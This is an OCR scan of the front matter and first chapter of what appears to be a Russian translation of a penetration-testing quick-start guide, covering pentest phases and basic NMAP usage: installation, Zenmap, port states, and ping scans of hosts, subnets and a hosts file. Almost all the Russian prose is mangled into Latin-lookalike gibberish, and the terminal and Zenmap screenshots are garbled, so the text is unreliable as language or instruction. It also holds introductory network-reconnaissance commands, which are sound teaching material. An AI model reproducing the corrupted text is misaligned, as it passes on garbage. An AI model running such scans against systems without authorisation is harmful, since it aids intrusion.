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O6 aBTOpE

Carap PaxaJkap - ONBITHBIA CIIEIHATIUCT 110 HHOOPMAITMOHHOM
Oe3omacHOCTH ¢ 11-JIeTHUM OOIIMPHBIM OIIBITOM B Pa3IMIHBIX 00IACTIX
nHpOpMaOHHOH Oe3omacHocTr. OH CreUaTu3UpyeTCsl Ha pacciaeJOBaHUIX
KuOeprpecTyIuieHnH, Tn(POBOi KPUMUHAIHCTUKE, 0€30ITACHOCTH
MPUIOKEHHUH, OLICHKE YSI3BUMOCTEH U TECTUPOBAHUM Ha IPOHUKHOBEHHE,
COOJIIOZICHUY MaHJIaTOB U HOPMAaTHBHBIX akToB, a Takke IT CRC. On umeer
CTeTleHb MarucTpa B 00JIaCTH KOMITBIOTEPHBIX HAYK M HECKOJILKO IPU3HAHHBIX
B OTPACIIH CEPTU(PUKATOB, TAKUX KaK CEPTU(UIMPOBAHHBIN CIIeI0BaTENb
KHOEPIPECTYMHOCTH, CEPTUMUIIMPOBAHHBII STHYECKUHA XaKep,
cepTUQHUIMPOBAHHBINA aHAMUTHK Oe30MacHOCTH, Bexymmid aynutop ISO 27001,
ceprudunmpoBanHslii crienmanuct IBM - Rational AppScan,
cepTU(HUIMPOBAHHBIA MEHEIKep Mo HHPopMaIoHHo# 6e3onacHocTr (CISM)
u PRINCE2, uTo6nI Ha3BaTh HECKOIbKO. OH OBLI TECHO CBS3aH C MHANHCKHUMH
MIPaBOOXPAHUTEIHHBIMHA OPraHaMu OoJiee YeThIpeX JIET, 3aHUMAasICh
paccienoBaHreM NpecTyIieHnH B chepe HUPOBBIX TEXHOIOTHIA U
COOTBETCTBYIOIMMHU TPEHUHTAMU JIJISl OPHUIIEPOB, U TIOyYHIT HECKOJIBKO
Harpaj 1 6JarofapHOCTe OT CTapIINX AOJDKHOCTHBIX JIUL] B OJIMLIUH U
000poHHBIX opranu3auusax B Uaauu. OH SBIAETCS aBTOPOM HECKOJIBKUX KHUT

W craTeil 1o MHGOPMAIMOHHON 0€301MacHOCTH.

vii



O TeXxHM4YeCKoOM peLeH3eHTe

Canmxu6 Cunxa - cepTuUIUpOBaHHBIH
paspabotuuk .NET mins Windows u BeO,
crienanusupytonmiics Ha Python,
nmporpaMmmupoBanuu 6e3onacHoctd U PHP; on
noiy4unn Harpany Microsoft Contributor Award
B 2011 roxy. Byny4n onmyOnTMKOBaHHBIM aBTOPOM,

€ro KHUTY BKJtodaroT «Hauano atuyeckoro
XakepcTBa ¢ nomobio Python» n «Havano

Laravely, omyOnkoBaHHBIE Apress.



BBepeHue

OneHka ys13BUMOCTH U TECTUPOBAHUE HAa IPOHUKHOBEHHUE CTAJIM OUCHb
Ba)XHBIMH, OCOOCHHO B IOCIEAHKE Tapy JieT. OpraHn3anuy 4acTo UMEIOT
CJIOXKHBIE CETH aKTHBOB, XPAaHSIIIUX KOH(GHUICHINANbHbIC TaHHbIE, U TAKUE
AKTHBBI MOJBEP >KEHBI IOTCHIIAIBLHBIM YTPO3aM KaK BHYTPH, TaK U CHAPYKH.
Uto6b! MOMy4nTh 00IIIee IPEACTABICHIE O COCTOSHUH 0e301MacHOCTH
OpraHu3alli, HEOOXOIUMO POBECTH OLIEHKY ySI3BUMOCTH. Brinonnenue
TECTOB Ha MPOHUKHOBEHUE TPEOYyeT XOPOLIO CITIAHUPOBAHHOTO U
METOIUYECKOTO MOIX0/A.

Uto0Obl TOMOYB BaM BHIMOJHHUTH pa3IHYHbIC 38Ja4H Ha BCEX ATarnax
KU3HEHHOTO [IUKJIa TECTUPOBAHUS Ha IPOHUKHOBEHHUE, CYIICCTBYET
MHOXE€CTBO MHCTPYMEHTOB, ClieHapHeB U YTHIUT. J{uctpuOyTuss! Linux,
takue kak Kali Linux, naxxe mpeocTaBisitoT BCTPOSHHbIE HHCTPYMEHTHI 1S
BBIMOJIHEHUS 3TUX 3a1a4.

EctecTBeHHO MOXXHO OBITH TIEpETPY>KEHHBIM KOJIHYECTBOM JIOCTYIHBIX
HHCTPYMEHTOB. OJTHAKO €CTh HECKOJIBKO MHCTPYMEHTOB, KOTOPBIE SIBISIOTCS
HACTOJIbKO MOIIHBIMH M THOKMMH, YTO OHHM OJHH MOTYT BBINIOJHSITH
OOJIBIIMHCTBO 3a/1a4 Ha BCEX 3Tanax >KM3HEHHOTO LUKJIA TECTUPOBAHUS Ha
MIPOHUKHOBEHHE.

OTa KHHTa MO3HAKOMHT Bac C OCHOBAMH TPEX TaKMX WHCTPYMEHTOB:
NMAP, OpenVAS u Metasploit. [IpocTo UCIONIB3yst 3TH TPH HHCTPYMEHTA,
BBl  TpHOOpeTeTe  IIMPOKME  BO3MOXKHOCTH  TECTHPOBAaHUS  Ha
MIPOHUKHOBEHHE.

K xoHIy 3T0¥ KHUTH BBl OITy4HTE TOTHOE TipeacTasiaerne 0 NMAP,
OpenVAS u Metasploit u cMOkeTe TPUMEHHTH CBOM HABBIKH B PEATbHBIX

CIICHApUAX ICHTCCTHUHIA.

X1



MABA 1

BeepeHne B NMAP

OrieHKa YSI3BUMOCTH ¥ TECTHPOBAHUE Ha MPOHUKHOBEHUE MPUOOPEITH OOIBIIOE
3Ha4YeHHE, 0COOCHHO B MOCIeAHNE Tapy JieT. OpraHu3alyy 4acTo UMEIOT
CJIOKHYIO CE€Th aKTHBOB, XPaHAIINX KOHPUACHIIHAbHBIC TaHHBIe. Takue aKTUBBI
MOJIBEPKEHBI OTEHUIUATIBHBIM yTpO3aM Kak BHYTpPH, TaK U U3BHE OPraHU3aLNH.
Uto0bI MOMTyYUTh 0011IEe MPEACTABIEHHE O COCTOSTHIM O€30MaCHOCTH
OpraHu3alliHi, HEOOXOIUMO MTPOBECTH OIEHKY YA3BHMOCTH.

Ba)kxHO MOHMMATh YETKYIO Pa3HULLy MEXKIY OLIEHKAMU ySI3BUMOCTH U
TECTUPOBAHUEM Ha MPOHUKHOBEHUE. UTOOKI MOHSTH 3Ty pa3HUILY, NaBalTe
paccMOTpUM peasibHbIH clieHapuil. Bel 3ameuaete, 4To JBEph BAIlIETO COCENNa He
3arepra JOJKHBIM 00pa3oM, a coceia HeT JoMa. DTO OICHKA YSA3BUMOCTH.
Tenepsp, ecnu BBl ACUCTBUTEIBHO OTKPOETE IBEPH COCENA U BOWIETE B I0OM, TOTIA
3TO TECT Ha MPOHUKHOBEHHE. B KOHTEKCTE HH(POPMAITMOHHON 0€30TTaCHOCTH BBI
MOXKETE 3aMETHUTh, UTO ciIyx0a SSH paboraeT co cnabbIMH yUeTHHIMU TaHHBIMU;
9TO YacCTh OLIEHKH YSI3BUMOCTHU. ECITN BBI IEHCTBUTEIHHO UCTIONB3YETE ITH
YYETHBIE JaHHBIC TSI TOMyYEHUs JOCTYTa, TO 3TO TeCT HAa IPOHUKHOBEHUE.
OHCHKI/I y5{3BI/IMOCTI/I qacCcTo 6630HaCHLI JJIsI BBIITIOJIHEHUSA, B TO BpeMH KaK TCCThI
Ha TIPOHUKHOBEHHE, €CJIM OHU HE MPOBOJISATCS KOHTPOIUPYEMBbIM 00pa3oM, MOTYT
HaHECTU CEPhE3HBIN YIIepO IEIeBBIM CUCTEMAM.

Takum 00pa3oM, OIEHKA YSI3BUMOCTH SIBIISIETCS OJIHOM M3 Ba)KHEUIINX
HpC}I]’IOCBIHOK JUISL HpOBe)IeHI/IH TECTa Ha HpOHI/IKHOBeHI/Ie. ECJ’[PI BbI HC 3HACTC,
KaKHue YHSBI/IMOCTI/I CYHICCTBYIOT B HCJ’ICBOﬁ CHUCTEMEC, Bbl HE€ CMOXETC HX

HCIIOJIBb30BAaTh.

© Sagar Rahalkar 2019
S. Rahalkar, Quick Start Guide to Penetration Testing,
https://doi.org/10.1007/978-1-4842-4270-4 1



maBa 1 BeegeHue B NMAP

BrimonHeHne TeCTOB Ha IPOHUKHOBEHUE TPEOYET XOPOIIO CITIAHUPOBAHHOTO

H METOHOJIOTHUECKOI0O IoaXona. JTo MHOFOCTyrIeH‘-IaTI)II\/'I mnmponecc. Huxe

MPUBCACHBI HEKOTOPBIC 3TAIlbl TECTUPOBAHU HA IPOHUKHOBCHUEC!

o\

Coop unghopmayuu: Co0p undopmaluu ssisierca Haudosaee BaKHON
(a30it KU3HEHHOTO 1IMKJIa TECTUPOBAaHHS Ha IPOHUKHOBEHHUE. JTa
(a3a Taxxke Ha3bIBaeTCs pa3Benkoil. OH BKITIOYAET UCTIONB30BaHHE
Pa3INYHBIX MACCUBHBIX U aKTUBHBIX METOOB Ui cOOpa KaK MOXKHO
OOJIBIIETO KOJMYeCcTBa HH(OpMAIH O IieneBoi cucteme. Coop
OPOOHOI HH(OpMAIIMH 3aKJIaAbIBACT IPOYHYIO OCHOBY IS
JATBHEUIINX TANOB )KU3HEHHOTO IMKJIa TECTUPOBAHUS Ha

IIPOHUKHOBCHHC.

Ckanuposanue: Kak TONbKO y Bac ecTb 6a30Bast HH(GOpMAIIUS O LIENH,
Ha JTare CKaHUPOBAHUS UCIIOIB3YIOTCS Pa3InYHBIE HHCTPYMEHTHI 1
METOJIBI IS IETAIbHOTO U3YYSHHS LIENIA. DTO BKJIFOUaeT B cebs
BBISICHCHUE TOYHBIX BEPCUI CEPBHUCOB, paOOTAIOIINX B IIETICBOM

CUCTEMC.

OI/;eHKa YVA36UMOCMU. OTarn OILICHKH YA3BUMOCTH BKIIFOYAECT
HCIIOJIB30BAHME PA3JIMYHBIX HHCTPYMCHTOB U METOHONOTHI IS
TIOATBEPKACHUA HAJIMYNA U3BCCTHBIX YﬂSBHMOCTeﬁ B LICJIEBOM

CUCTCMC.

Honyuenue oocmyna: Ha npenpinyniem 3Tarne y Bac €CThb CIHCOK
BO3MOXHBIX YS3BUMOCTEH Juisi Bamieil nenu. Temepb BBl MOXETe
MOIBITATHCS UCTIONB30BATh 3TH YI3BUMOCTH, YTOOBI OyYUTh TOCTYII

K IIEJICBOH CHCTEME.

THosvrenue npusunezuii: Bel MoxkeTe MOTYIUTh JOCTYI K BaIrei
[EJIEBON CHCTEME, BOCIIONB30BABIINCH OIPECIICHHON YI3BUMOCTBIO;
OJTHAKO JTOCTYII MOXET ObITh orpanudeH. /s 6omee Tirybokoro
MPOHUKHOBEHUS HEOOXOMMO HCIONB30BATh PA3TUYHBIE METOIBI U
MOBBICUTH NMPUBIJIETHH JI0 YPOBHS CAMOTO BBICOKOTO YPOBHS, TAKOTO

KakK aIMUHHUCTPATOp, root u T.11.



MmaBa 1 BeegeHne B NMAP

\ Tloooepocanue docmyna: Tenepb, KOrma Bl YCEPIHO
pabotanu, 9ToObl OIYYUTh AOCTYII K IIEIICBON CUCTEME,
BBI HaBepHsIKA 3aXOTHTE, YTOOBI OHA COXPaHSIACh. DTOT
9Tall BKJIIOYAET B Ce0s UCIOJIL30BAHUE PA3TUYHBIX
METOJIOB JJIs1 00ECIICUCHUS TOCTOSHHOTO AOCTYIIA K
LIETIEBOM CHCTEME.

*\ 3amemanue cnedog: IIponecc MPOHUKHOBEHUSI MOKET
Co3l1aBaTh MyCOpHBIC (haiIbl, U3MEHATH (DalIITbI
KOH(UTYpaLUK, HU3MEHSATh 3allUCH PEeCcTpa, CO3AaBaTh
JKypHAJIBI ayInTa ¥ TaK Jiajiee. 3aMeTaHue CIIe/IOB BalluX
TPEKOB BKJIFOYAET B Ce0sI OUYUCTKY BCEX CIIEJIOB, OCTaBIIMXCS

Ha IpEeAbIAYIINX STanax.

Jns BBIMOMHEHUS Pa3UYHBIX 3a/lad HA STHX JTamaxX JOCTYIHBI COTHH
WHCTPYMEHTOB, ClicHapueB W yTHIUT. JluctpuOyTtmBbl Linux, Takwe kak Kali
Linux, gaxxe npenoCTaBisiiOT BCTPOCHHbBIE HHCTPYMEHTBI JUISL BBITIOJHEHUS 3TUX
3ajad.

EcrectBeHHO  OBITH  HEPETPYXKEHHBIM  KOJIMYECTBOM  JIOCTYITHBIX
HHCTpyMEeHTOB. TeM He MeHee, €CTh HECKOJIBKO HHCTPYMEHTOB, KOTODBIE
SIBJISIFOTCS. HACTOJIBKO MOIIHBIMUA U THOKUMH, YTO OHU OIHU MOTYT BBIMOJNHSTh
OOJIBIIIMHCTBO 33/1a4 Ha BCEX ITUX JTarax.

Orta kHATA O TpeX Takux nHeTpymeHTax: NMAP, OpenVAS u Metasploit.
Hasnuume 3TUX Tpex MHCTPYMEHTOB B BallleM apCceHalie MOXKET 00eCIeunTh
IMHUPOKHUEC BO3MOKXHOCTH TECTUPOBAHUA HAa IPOHUKHOBCHUC.

Tabnuma 1-1 onuceIBaeT, Kak 3TH HHCTPYMEHTHI MOTYT OBITh
WCIIONIB30BAHBI HA PA3IMYHBIX dTanaxX XKU3HEHHOTO ITHKJIa TECTHPOBAHUS Ha

MIPOHUKHOBEHHE.
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Taonuya 1-1. Hncmpymenmot no ghazam nenmecmunza

da3a TeCTUPOBAHUS HucTpymeHTt
C6op uapopmanuu NMAP, Metasploit
Iepeuncrenue NMAP, Metasploit
OueHKa ys3BUMOCTH OpenVAS
ITonydyenue pocTyna Metasploit
[ToBbILICHUE TPUBUICTHI Metasploit
IMoxnnepxanue A0CTyna Metasploit
TToKpHBITHE TPEKOB Metasploit

W3 31011 TabNMHIB! BUAHO, YTO 9TH TPH HHCTPYMEHTA CIIOCOOHEI
BBIIONHATH 33[a49M Ha BCEX JTaIlax JKM3HEHHOIO IIMKJIA TECTUPOBAaHUS Ha
IIPOHUKHOBEHHUE.

Ota KHHTA (POKYCHUPYETCs Ha 3TUX TPEX MHCTPYMEHTaX M IOMOTaeT BaM

Ha4YaTh C OCHOB KaXKJIOTO U3 3TUX HHCTPYMEHTOB. JTa I71aBa OyIET OXBaThIBATH
NMAP.

NMAP

Tenepsp, Korja y Bac €CTh YETKOE MPEJCTABICHNUE O PA3IMYHbBIX 3Tarax
JKU3HEHHOTO [MKJIa TECTHPOBAHMS Ha TPOHUKHOBEHHE U O TOM, KaKHe
HHCTPYMEHTHI TPeOYIOTCS, JaBaiiTe nepeiiiemM K HaleMy IepBOMy
uHcTpyMeHTy, NMAP. Brl y3Haere o paznuansix GyHKmsx NMAP, Brmodas
CJIEYIOIINE:

!\ VYeranoBka NMAP

A\ Hcnonb3oBanne NMAP ¢ ucnonszoBanuem ZENMAP
A\ NMAP - [lornMaHue cOCTOSHUI TOPTOB

A\ [IpoBenenue 6azoBoro ckanupoBanus ¢ NMAP



maBa 1 Beeneune B NMAP

A\ [Tornmanue ckannposanmst TCP 1o cpaBHEHHIO CO
ckanupoBanuem UDP

o\ Ilepeuncnenne 1eneBbIX ONEPAUOHHBIX CUCTEM U CEPBUCOB
A\ TouHast HacTpoiika CKAaHUPOBAHUS

"\ Hcnons3oBanue ckpunroB NMAP

\ Bei3zoB NMAP u3 Python

YctaHoBka NMAP

NMAP moxeT ObITh ycTaHOBIIEH Kak Ha Windows, Tak 11 Ha Unix-cucremax.
Urob6s1 ycranoButh NMAP B Windows, mpocTo mepeiinnte mo cChuUIKe
https://nmap.org/download. html, 3arpy3ute u ycranosure ero.

Jus cuctem Ha ocHOBe Unix BBl MOXkeTe yctaHOBUTE NMAP u3
KOMaHAHOH cTpoku. B muctpnbyruBax OezonacHOCTH, Takux Kak Kali Linux,
NMAP ycraHoBjeH 110 yModanuio. OJHAKO IS IPYTUX OOBIYHBIX
JTUCTPUOYTHBOB €r0 HY)KHO YCTaHAaBJINBATh OTACIBHO.

Br1 MoxeTe npocTo ucnonbs30BaTh KoMaHay apt install nmap s
cucreM Ha ocHoBe Debian, kak mokazaHo Ha pucyHke 1-1. Ota komanzaa

ycranoBuT NMAP BMecTe co BceMu HEOOXOIUMBIMU 3aBUCUMOCTSIMH.


https://nmap.org/download.html
https://nmap.org/download.html

Maga 1 Beepnenvne B NMAP

root @sagar-virtu:

root@sagar-virtual-machine:~# nmap
Command 'nmap' not found, but can be installed with:
apt tnstall nnap

root@sagar-virtual-machine:~# apt install nmap
Reading package lists... Done
Building dependency tree
Reading state information.
The followlng additional packaqes will be tnstalled:
libblas3 liblinear3
Suggested packages:
liblinear-tools liblinear-dev ndiff
The following NEW packages will be installed:
libblas3 liblinear3 nmap
© upgraded, 3 newly installed, © to remove and 119 not upgraded.
Need to get 5,353 kB of archives.
After this operation, 24.5 MB of additional disk space will be used.
Do you want to contlnue? [Y/n] y
Get:1 http://in.archive.ubuntu.com/ubuntu bionic/main and64 Libblas3 amd64 3.7.1-4ubuntul [140 kB8]
Get:2 http://in.archive.ubuntu.com/ubunty blonic/main and64 Liblinear3 amd64 2.1.0+dfsg-2 [39.3 kB]
Get:3 http://in.archive.ubuntu.com/ubuntu blonic/matn and64 nmap amdéd 7.60-1ubuntus [5,174 kB]

3,914 Fetched 5,353 kB {n 135 (425 k
B/s)

Selecting previously unselected package Libblas3:and6d.

(Reading database ... 125731 files and directories currently installed.)
Preparing to unpack .../libblas3_3.7.1-4ubuntul_and64.deb ...

Unpacking Libblas3:and64 (3.7.1-4ubuntul) ...

Selecting previously unselected package Liblinear3:amdéd.

Preparing to unpack .../liblinear3_2.1.0+dfsg-2_and64.deb ...

unpacking liblincar3:and64 (2.1.0+dfsg-2) ...

Selecting previously unselected package nmap.

Preparing to unpack .../nmap_7.60-1ubuntu5_and64.deb ...

unpacking nmap (7.60-1ubuntus) ...

Setting up libblas3:amd64 (3.7.1-4ubuntul) ...

update-alternatives: using jusr/lib/x86_64-1inux-gnu/blas/libblas.so.3 to provide Jusr/lib/x86_64-1inux-gnu/libblas.so.3 (1ibbl
35.50.3-X86_64-1tnux-gnu) tn auto node

Processing triggers for libc-bin (2.27-3ubuntul) ...

Processing triggers for man-db (2.8.3-2) ...

Setting up liblinear3:amd64 (2.1.0+dfsg-2) ...

Setting up nmap (7.60-1ubuntu5) ..
Processing triggers for libc-bin (2.27-3ubuntul) ...
root@sagar -virtual-nachine:~# [

Pucynox 1-1. Yemanoexa NMAP 6 cucmeme na ocnose Debian

BeseneHne B8 NMAP n ZENMAP

[lepBonauanbHo NMAP Obun yTminTol KOMaHIHOW cTpoku. B Tepmunane
Linux Bl MOXeTe npocTo HaOpaTh KOMaHy nmap, 4To0bl Ha4yaTh. PucyHnok 1-
2 moKa3bIBaeT BBIBOJ KOMaH/bl nmap. OH oToOpakaeT pa3IMyHbIe MapaMeTphl

" IEPCKIIOYaTEIiv, KOTOPhIC H606XOIII/IMO HAaCTPOUTH JJId CKAHUPOBaHUS LICIINU.
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root@Kali: ~

File Edit View Search Terminal Help

root@kali:~# nmap

Nmap 7.60 ( https://nmap.org )

Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <hostl[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude file>: Exclude list from file

HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <servl[,serv2],...>: Specify custom DNS servers
--system-dns: Use 0S's DNS resolver
--traceroute: Trace hop path to each host

SCAN TECHNIQUES:
-5sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan

Pucynoxk 1-2. Bvi6o0 komanovl nmap 6 mepmunaie

ZENMAP - 310 rpadmueckuii uarepdeiic 1 NMAP. On npennaraet Ty
e (PYHKITMOHATIBHOCTE B OoJee yoOHOM 1JIs Tob30BaTes hopMe.
ZENMAP sBnisieTcst yacThlo cranaapTHol yctanoBku Kali Linux u noctymHa
B [Ipunoxenunsx » Coop unpopmanuu » ZENMAP. Pucynoxk 1-3
nokasbiBaeT HavyanbHbIi 3kpaH ZENMAP. Unartepdeiic ZENMAP umeer tpu
OCHOBHBIX HaCTpPanBaeMbIX IapameTpa.

*\ I]env: 310 MOXKET OBITH OuH IP-afpec, CITUCOK U3

HeckoJibkux [P-aspecoB wiM 1enas nojiceTh.

\ Tlpogpuns: ZENMAP nmMeeT HECKOIBKO
MpeIonpeieeHHbIX Ipoduiel ckaHupoBanus. [Tpoduin
KJIACCU(UIMPYIOTCS HA OCHOBE TUTIOB CKAHUPOBaHUS,
noctynHbix B NMAP. JIn0o BBl MOXKeTe BBIOpATh OIUH U3
JOCTYIHBIX TTPO(GUICH, JINOO BEI MOXKETE BBITIOJTHHUTH
M0JI30BATEIHCKOE CKAHUPOBAHUE B COOTBETCTBUU C

BallluUMH Tpe60BaHI/I$IMI/I
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*\ Komanoa: Tlocne TOro Kak Bbl BBEJeTE LIeJIb U BbIOEpeTe
MpeaBapUTENbHO OonpeaesieHHbIH mpoduas, ZENMAP
aBTOMaTH4ecKu 3anonnsget noie «Komangay. Bel Takxke
MOKETE€ UCIOJIb30BATh ITO I0JIE, €CJIM XOTUTE BBIIIOJIHUTD
HaCcTpauBaeMOE CKaHUPOBAHUE JUIsl IPEABAPUTEIILHO
OTIPEICIICHHOTO TIPO(HIIS.

Zenmap. eoo0
Scan Tooks Profle Help

Target v Profle |inense scan v ! scmn
Command: |rmap-T4-A v
Mimts | Services | | Nmap Output | Posts FHosts | Topaiagy  Host Detalls | Scans

©5  Host

Fizes Hosts

Pucynox 1-3. Hauanonwiii sxpan/unmepgetic ZENMAP

NMAP — onpegeneHne nopToB

Xors tekymias Bepcust NMAP crmocoOHa BBITIONHATh MHOXKECTBO 337124, OHa
M3HAYaIbHO HAaYMHAJIACKh Kak ckaHep mopToB. Y NMAP ecTh onpesieieHHbIE
CrIoCOOBI ONPENETTUTh, OTKPBIT JIU TIOPT B IICJIEBON CUCTEME FUTH 3aKPBHIT.
NMAP o0OHapy>KWBaeT COCTOSTHHE EIEBOTO ITOPTa, HCIIONB3YS

MpEAOIIPEACIICHHBIC COCTOAHUSA CICAYIOIINUM O6p2130MI

Open: COCTOSAHHUEC Open YKa3bIBACT, YTO IMPUJIOKCHHUC
B I.ICJ'ICBOﬁ CUCTCMC aKTUBHO NPOCITYIIUBACT
COCOMHCHUA / makeTHl HA STOM IOPTY.

Closed: Cocrosiane Closed ykaspiBaeT, 4T0 HH OIHO
NPHIOKEHHE HE MPOCITyIINBACT 3TOT NOpT. OfHAKO B
Oy/IyIIeM COCTOSIHUE TIOPTa MOYKET H3MCHUTHCS Ha
OTkpsITOE.
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Filtered: Cocrosane «OThUIBTPOBAHHEIN
yKa3bIBaeT Ha TO, YTO OpaHaMay3p, QUIBTP WU
Kakoe-1100 CeTeBOE MPEMATCTBUE OJOKUPYET MOPT
u, cnenoBarenbHo, NMAP He MOXET OnpenenuTs,

OTKPBLIT OH HUJIU 3aKPbIT.

Unfiltered: CocrosiHue He(HIbTpOBaHHOTO
yKa3bIBa€eT, YTO MOPTHI OTBEYAIOT Ha 30H6I NMAP;
OJIHAKO HEBO3MO)KHO ONPE/ICIIHUTh, SBISIOTCS JIH OHU

OTKPBITBIMHU HUJIN 3aKPBITBIMU.

Open/Filtered: Cocrosiare Open / Filtered
YKa3bIBaeT, YTO MOPT MO0 OT(HUIBTPOBaAH, THO0
OTKpHIT; oqHaKo NMAP He MoxkeT TouHO
OIIPE/IeNIUTh COCTOSHHE.

Closed/Filtered: Cocrosinue Closed / Filtered
YKa3bIBaeT, 4TO MOPT JIMO0 OT(HUIBTPOBaH, THO0
3aKphIT; omHak0o NMAP He MOXXeT TOYHO OTPEICIIUTh
COCTOSTHHE.

ba3oBoe ckaHnpoBaHune ¢ nomouibio NMAP

NMAP - 3T0 CITOKHBI HHCTPYMEHT C MHOXKECTBOM JIOCTYITHBIX OTIIHHA U
nepexIoyareneid. B 3ToM pasnene Bl yBUANTE PA3INYHBIE CLIEHAPUU
ncnonb3oBanusi NMAP, HaunHas ¢ caMbIX NPOCTHIX CKAHUPOBAHMIM.
[Ipexne yeM npuCTYNUTDH K GaKTHIECKOMY CKAaHUPOBAHHIO, BAKHO
OTMETHTD, 9T0 NMAP - 3TO ITyMHBIN HHCTPYMEHT. DTO CO3AaET MHOTO
CeTeBOro TpaduKa ¥ MHOTIA MOXKET NOTPEOISTh OOJNBIIYIO TPOIYCKHYIO
croco0HOCTh. MHOTHE U3 CUCTEM OOHApYKEHHS BTOPKEHUH U CHUCTEM
MPEZ0TBPAIEHHS BTOPKEHUI MOTYT OOHAPYKHUBATh ¥ OJOKAPOBATH TpaPuK
NMAP. I'oBopsT, uto 6a3oBoe ckanupoBanue NMAP mo ymorganuio Ha
OZHOM XOCTE€ MOXKET reHepupoBats Oosee 4 Mb cereBoro tpaduka. Takum
00pa3oM, 1aKe €CiIU BbI BBIIIOJIHUTE 0a30BO€ CKAHUPOBAHUE BCEH TONICETH,
oHo co3aacT okojio 1 I'b tpaduka. CrnemoBarensHO, BAKHO BBITOJTHHUTH

CKaHUPOBAHUC NMAP ¢ 1101HEIM 3HaHHEM HCIIOJIB3YCMbIX KOMMYTATOPOB.
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ba3oBoe ckaHnpoBaHune ogHoro IP

Bor xomaHpa:
nmap -sn <uenesoit IP-agpec >

JaBaiiTe HauHeM ¢ 0a30BOT0 MUHT-CKAaHUPOBAHHS OAHOM LEIH.
CkaHupoBaHHUE ping He IPOBEPSET HAINYKE OTKPBITHIX IOPTOB; ONHAKO, OH
CKa)KeT BaM, KHUBa Jiu 11e7b. Ha prc. 1-4 moka3aH pe3ynbTar MpoBEpKH ping,

BBINIOJIHEHHOW Ha 0HOM LienieBoM [P-anpece.

lenmig oo

Hests

w  WRosec (192008 25 112

- § | At 2818.89.17 11181 IST
192,168 25192

BAC Address: e
Nrap done 3

Pucynok 1-4. Bvisoo b6azo6020 ckanuposaruss NMAP oonozo IP-adpeca

ba3oBoe ckaHMpoBaHME BCEW NOOACETU

Bot xomanpa:
nmap -sn <ueneras [P-noxcets >

B mpakTrueckoM CIieHapuH y Bac MOXKET OBITh HECKOJIBKO [P-anpecos,
KOTOpbIC BaM HYXHO HPOBEpUTh. UTOOBI MONYyUUTh OBICTPBIN 0030p TOTO,
KaKHe XOCThI B JIAHHOM MOJICETH aKTUBHBI, BbI MOYKETE BBITIOJIHUTH IPOBEPKY
cBs3u NMAP o Bceit nmoacetu. [loaceTs - 3To0 mpOCTO JIOrMYECKOe
pasnenenue cetu. CkaHMPOBAaHKE BCEH MOICETH NACT BaM MPECTABIECHUE O
TOM, KaKH€ CHCTEMBI IPUCYTCTBYIOT B ceTH. Ha pucynke 1-5 mokasan
pe3ynbTaT npoBepku ping B moacetu 192.168.25.0-255. Bl MoxeTe BUIETH,
9TO 13 255 XOCTOB TOJBKO CEMBb XOCTOB pa0dOTaIOT. Termepb BB MOXKETE
JIOTIOJTHUTENTFHO MCCIIE0BaTh 3TH CEMb XOCTOB U MOIYYHTh Ooliee MOAPOOHYIO
UHPOPMALHIO.

10
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Zenmap oo

Target: (19

Command: |r:

g

Detals.

e
T
%

TTeeEwe

192.168,25.132)
ncy)

B8:50 (VWware
25133

)

9 (VMware
.23.2%4

¥)
F6:61:9F (VWware)
r 192.168.25.128

6 1P addresses (7 hosts up) scamned in 2.26 seconds

Pucynok 1-5. Bvi6oo b6az06020 ckanuposarus NMAP, gbinonnennozo 6
noocemu

CkaHupoBaHue ¢ ncnosib3oBaHNEM BXOLHOIO
doavna

Bor xomanna:
nmap -sn -iL <myTs k daiiry >

Bo3moxeH crieHapuid, Korja BaM Hy>KHO CKaHUPOBAaTh IIMPOKUN JUana3oH
IP-anpecoB. Bmecto Toro, uto0sr BBOIUTH UX B hopmare NMAP uepes
3aIISTYIO0, BB MOXKETE IIOMECTUTD UX BCe B (ailsl u nepenars 3TOT Gaiin B
Mexanm3M NMAP. Ha pucynke 1-6 nokazano copepxxkumoe daiina hosts.txt,
KOTOPBIN COEpKUT crucok IP-anpecos.

11
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root@kall: ~ e ® 0O

File Edit View Search Terminal Help

root@kali:-# cat Desktop/hosts.txt
192.168.25.129
192.168.25.130

root@kali:-# D

Pucynox 1-6. @aiin xocmos, cooeprcauguti CRUCOK CKAHUPYEMbIX
IP-adpecos

Temnepb BBl MOXKETE IPOCTO Nepeaath dain hosts.txt B NMAP u
BBHITTOJIHUTH CKAHUPOBaHKE, KaK MMOKAa3aHO Ha pUCYHKe 1-7.

Zenmap (I -]

Scan Tools Profile Help

Target: v Profite: v |Scan

Command: |nmap -sn -IL /root/Desktop/hosts.txt

[Hosts]”SeN{ei Nmap Output | Ports / Hosts  Topology Host Details ' Scans

0S  Host , | nmap -sn -iL /root/Desktop/hosts. txt s

T 192168251
Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-25 15:22 IST

¥ 1921682513 Nmap scan report for 192.168.25.129
Host is up (0.00040s latency).
MAC _Address: 00:0C:29:11:8E:B1 (VMware)
Nmap scan report for 192.168.25.130
Host is up (0.80070s latency).
MAC Address: ©0:0C:29:03:42:04 (VMware)
Nmap_done: 2 IP addresses (2 hosts up) scanned in ©.45 seconds

I
Filter Hosts

Pucynok 1-7. Bvi6o0 b6azoseoeo ckanuposanusi NMAP,
BLINOIHEHH020 HA HecKoabKux IP-adpecax, nepeyucienHuvix 6 ¢aiiie
hosts.txt

CKaHVIpOBaHVIe NMPUYNHbI

Bot xomanpa:

nmap --reason<uenesoii IP-anpec >

12



[Ipu o66r9HOM ckannpoBanr NMAP BBl MOXKETE TOTY9UTH CIHCOK

MmaBa 1 BeegeHne B NMAP

OTKPBITHIX TIOPTOB; OJJHAKO BBI HE OyAeTe 3HATh MPUUYHMHY, IO KoTopoit NMAP

